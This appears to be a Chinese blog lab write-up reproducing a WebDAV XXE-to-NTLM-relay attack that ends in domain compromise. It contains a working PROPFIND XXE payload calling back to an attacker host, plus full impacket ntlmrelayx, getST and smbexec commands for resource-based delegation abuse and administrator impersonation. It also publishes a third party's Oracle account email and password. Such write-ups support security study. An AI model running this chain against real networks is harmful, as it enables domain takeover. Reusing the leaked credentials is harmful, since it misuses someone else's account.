奇安信Ateam文章地址:XXE to 域控
概述
本文主要复现该文章中XXE中继的部分,主要利用的技术为通过XXE实现NTLM中继从而添加基于资源约束委派,最后拿到webdav的TGS票据。
一是对上文《Kerberos协议之基于资源的约束委派》的一个实战场景的讲解,二是加深对于资源约束委派的理解。
环境搭建
- 域控DC 172.16.33.12
- 目标机器DM2012 172.16.33.33
- 攻击机Kali 172.16.33.99
- 一个普通域账号 jack@test.local
- 其他机器 DM 172.16.33.8
webdav环境由jdk8u202和tomcat5.0.28
下载地址:
- Tomcat5.0.28 https://archive.apache.org/dist/tomcat/tomcat-5/v5.0.28/bin/jakarta-tomcat-5.0.28.zip
- JDK1.5 https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
- Oracle账号 2696671285@qq.com 密码:Oracle123 来自老鼠拧刀满街找猫csdn
tomcat5自带了webdav,将搭建在dm2012目标机器上。配置好JAVA_HOME的环境变量之后,通过PsExec64.exe -i -s cmd
以system权限启动tomcat。
复现
通过OPTIONS请求探测支持的请求方式
通过PROPFIND方法触发XXE
1PROPFIND /webdav/ HTTP/1.1
2Host: 172.16.33.33:8080
3Content-Length: 247
4
5<?xml version="1.0" encoding="UTF-8"?>
6<!DOCTYPE propertyupdate [
7<!ENTITY loot SYSTEM "http://172.16.33.99/"> ]>
8<D:propertyupdate xmlns:D="DAV:"><D:set><D:prop>
9<a xmlns="http://172.16.33.99/">&loot;</a>
10</D:prop></D:set></D:propertyupdate>
因为javasun.net.www.protocol.http.HttpURLConnection
类在响应401时,会根据响应判断使用哪种认证模式,这个时候我们可以返回要求使用ntlm认证,这样拿到目标机器的ntlm hash(参见Ghidra 从 XXE 到 RCE),继而通过中继其ntlm链接域控ldap添加基于资源的约束委派(我改我自己)。
而基于资源的约束委派还需要一个服务账户,我们可以通过Powermad来添加。而通过powermad添加就需要走Kerberos认证,即需要一个普通域账户Jack。
以域账户jack运行powermad添加机器账号,密码test123
在域控上已经添加了该账户
此时我们需要通过ntlm中继实现evilpc$
到dm2012$
的传入信任关系,即设置evilpc$
到dm2012$
的资源约束委派。这个资源约束委派是在dm2012$
上设置的,是我们通过ntlm中继dm2012$
链接到域控的ldap设置的。
impacket启动ntlm中继
1impacket-ntlmrelayx -t ldap://dc.test.local -debug -ip 172.16.33.99 --delegate-access --escalate-user evilpc\$
触发xxe之后中继成功修改委派。接着模拟administrator申请高权限票据,然后ptt就完事了。
1python3 getST.py -dc-ip dc.test.local test/evilpc\$:test123 -spn cifs/dm2012.test.local -impersonate administrator
2export KRB5CCNAME=administrator.ccache
3python3 smbexec.py -no-pass -k dm2012.test.local
复现过程中碰到了[-] Exception in HTTP request handler: invalid server address
的错误,解决办法是dns解析的问题,修改/etc/resolv.conf
加上一行nameserver 172.16.33.12
,让kali也能解析test.local域名就可以了。
总结
基于资源的约束委派利用条件:
- 拥有一个任意的服务账户1或者计算机账户1(
evilpc$
),如果没有,可以滥用普通域账户jack的MachineAccountQuota。 - 获得服务账户2的LDAP权限,文中采用的ntlm中继
- 配置服务1对服务2的约束委派
- 发起S4U2Proxy申请高权限票据进行ptt
相比于传统约束委派,信任关系的传入传出方向不同,设置的对象不同。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
评论